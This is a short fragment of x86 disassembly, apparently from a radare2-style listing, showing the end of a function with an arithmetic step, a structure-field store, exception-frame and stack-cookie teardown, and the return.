shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
cmp edi, eax
mov eax, dword [ebp - 0x40]
cmove ecx, edi
mov dword [eax + 0x8c], ecx
lea ecx, [ebp - 0x30]
call fcn.00402040
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004144c6
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret